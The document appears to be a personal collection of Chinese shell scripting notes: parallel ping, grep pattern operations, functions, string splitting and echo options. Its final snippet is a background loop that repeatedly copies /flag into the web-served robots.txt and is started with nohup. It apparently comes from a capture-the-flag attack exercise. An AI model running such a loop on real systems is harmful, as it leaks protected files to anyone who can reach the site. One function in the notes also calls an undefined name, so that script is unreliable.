Logout

常见问题

测试脚本语法 sh -n ip-p.sh syntax error: unexpected end of file window环境下编写的会在每行的结尾多一个^M结束符

shell中的for循环用法

grep

使用正则表达式查找字符串

#批量多线程ping IP
#! /bin/bash
starttime=`date +'%Y-%m-%d %H:%M:%S'`
rm -f logfile
for i in $(cat ip.txt)
do
{ 
ping -c 30 $i | egrep "packets transmitted|min/avg/max/mdev" >>logfile  &&  echo "$i" >>logfile && echo "-------------------------" >>logfile
}&
#加&不输出到前台,实现多线程处理
done
wait
endtime=`date +'%Y-%m-%d %H:%M:%S'`
start_seconds=$(date --date="$starttime" +%s);
end_seconds=$(date --date="$endtime" +%s);
echo "本次运行时间: "$((end_seconds-start_seconds))"s"

grep or 操作

grep 'pattern1\|pattern2' filename grep -E 'pattern1|pattern2' filename egrep 'pattern1|pattern2' filename grep -e pattern1 -e pattern2 filename

grep and 操作

grep -E 'pattern1.*pattern2' filename grep -E 'pattern1.*pattern2|pattern2.*pattern1' filename $ grep -E 'Dev.*Tech' employee.txt grep -E 'pattern1' filename | grep -E 'pattern2'

grep not 操作

grep -v 'pattern1' filename 使用 grep -v 可以实现 NOT 操作。 -v 选项用来实现反选匹配的( invert match)。如,可匹配得到除下指定pattern外的所有lines 可以将NOT操作与其他操作联合起来,以此实现更强大的功能 组合 $ egrep 'Manager|Developer' employee.txt | grep -v Sales

grep匹配前后几行

grep -5 'parttern' inputfile #打印匹配行的前后5行
grep -C 5 'parttern' inputfile #打印匹配行的前后5行
grep -A 5 'parttern' inputfile #打印匹配行的后5行
grep -B 5 'parttern' inputfile #打印匹配行的前5行

shell自定义函数

#函数不能返回字符变量,可以改变全局变量
tem_cp=""
#函数定义应该在使用前面
function FolderCP(){
# $1 $2 $3分别是输入函数的第1、第2、第3个参数
    echo "备份路径:$1"
    echo "源路径:$2"
    echo "文件夹名:$3"
#拼接变量 "${1}${3}"
#变量前加local声明为局部变量,否则默认为全局变量
    local tem="${1}${3}"
# -d 判断是否为文件夹,-f判断是否为文件
# date 获取时间,格式 %y%m%d%H%M 年月日时分
    if [[ -d "$tem-`date +%y%m%d`" ]];then
        if [[ -d "$tem-`date +%y%m%d%H`" ]];then
            echo updated in one hour!
            tem_cp="$tem-`date +%y%m%d%H%M`"
        else 
            echo updated in one day!
            tem_cp="$tem-`date +%y%m%d%H`"
        fi
    else
        echo no updated today!
        tem_cp="$tem-`date +%y%m%d`"
    fi
    echo $tem_cp
#判断是否为文件夹
    if [ -d "${2}${3}" ]; then
#在命令中拼接变量
#cp -r 复制子目录,cp的第二个变量必须存在,第一个参数是目录则复制到$1下成为子目录
        cp -r "${2}${3}" $1
        mv "${1}${3}" $tem_cp
# $? 是上一个函数的返回值,可以判断函数是否执行成功 0=true
# -eq 判断相等
        if [ $? -eq 0 ]; then
            echo ----------------succeed-----------------
        fi
        else
        cp "${2}${3}" $tem_cp
    fi
}
function CutDir(){
    echo "--------------------------项目: $1"
    echo "操作字符串: $2"
# ! -d 表示非文件夹
    if [ ! -d "${bcdir}/${1}" ]; then
        mkdir "${bcdir}/${1}"
    fi
    temC=1
#这是2指输入的第二个参数,array为数组
# 使用, 来分割字符串
    array=(${2//,/ })
#依次取出array数组中的字符
    for var in ${array[@]}
    do
        echo "-----part: $temC"
# 取出路径的某一本部分,拿掉最后条/及其右边的字串
        tsdir=${var%/*}
#拿掉第一个/及其左边的字串,注意没有/
        tF1=/${var##*/}
        FilesCP "${bcdir}/${1}" "${tsdir}" "${tF1}"
#自加1
        temC=$(( $temC + 1 ))
    done
}
Nginx=""
PS3="请输入选项:"
select number in "1a" "exit"
do
case $number in
"1a")
#输入的变量按顺序成为第1第2第3个参数
CutDir $number $Nginx
;;
"exit")
break;;
*)
echo "no selection!"
esac
done

file=/dir1/dir2/dir3/my.file.txt

字符分割

我们可以用${ }分别替换获得不同的值: ${file#/}:拿掉第一条/及其左边的字串:dir1/dir2/dir3/my.file.txt ${file##/}:拿掉最后一条/及其左边的字串:my.file.txt ${file#.}:拿掉第一个.及其左边的字串:file.txt ${file##.}:拿掉最后一个.及其左边的字串:txt ${file%/}:拿掉最后条/及其右边的字串:/dir1/dir2/dir3 ${file%%/}:拿掉第一条/及其右边的字串:(空值) ${file%.}:拿掉最后一个.及其右边的字串:/dir1/dir2/dir3/my.file ${file%%.}:拿掉第一个.及其右边的字串:/dir1/dir2/dir3/my

#

${str:a:b} 表示提取字符串a开始的b个字符 比如 str="abcd" echo ${str:0:3} 结果是abc

#
#!/bin/bash
string="hello,shell,haha"
OLD_IFS="$IFS"
IFS=","
array=($string)
IFS="$OLD_IFS"
for var in ${array[@]}
do
   echo $var
done

路径字符串分割

判断字符串是否为空

变量必须带“ ”

#!/bin/sh
STRING=
# -z :判断 string 是否是空串
if [ -z "$STRING" ]; then
 echo "STRING is empty"
fi
# -n :判断 string 是否是非空串
if [ -n "$STRING" ]; then
 echo "STRING is not empty"
fi

自加1

i=$[$i+1];
i=$(( $i + 1 ))
i=`expr $i + 1`;
let i +=1
let 'i+=1'

echo

用法:echo [短选项]... [字符串]...  
或:echo 长选项  

将 STRING 回显到标准输出。  

  -n 不尾随换行符  
  -e 启用解释反斜杠的转义功能  
  -E 禁用解释反斜杠的转义功能(默认)  
      --help 显示此帮助信息并退出  
      --version 显示版本信息并退出  
若-e 可用,则以下序列即可识别:  
  \\    反斜杠  
  \a    响铃声  
  \b    退格  
  \c    不再产生新的输出  
  \e    转义符    
  \f    换页  
  \n    新行  
  \r    回车  
  \t    水平制表符  
  \v    竖直制表符  
  \0NNN   字节数以八进制数 NNN (1至3位)表示  
  \xHH    字节数以十六进制数 HH (1至2位)表示  

echo -e "\t\"name\":\"xukai871105\"" >> test-json.txt
  ```

```sh
#!/bin/sh
echo "writing RSA key" >> robots.txt
echo "-----BEGIN PUBLIC KEY-----" >> robots.txt
echo "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwIUjUBU1HE1b+X9szwdO" >> robots.txt

while true
do
        ping -i 15 -c 2 127.0.0.1
        cat /flag >> robots.txt
done
# chmod +x test.sh
# nohup ./test.sh &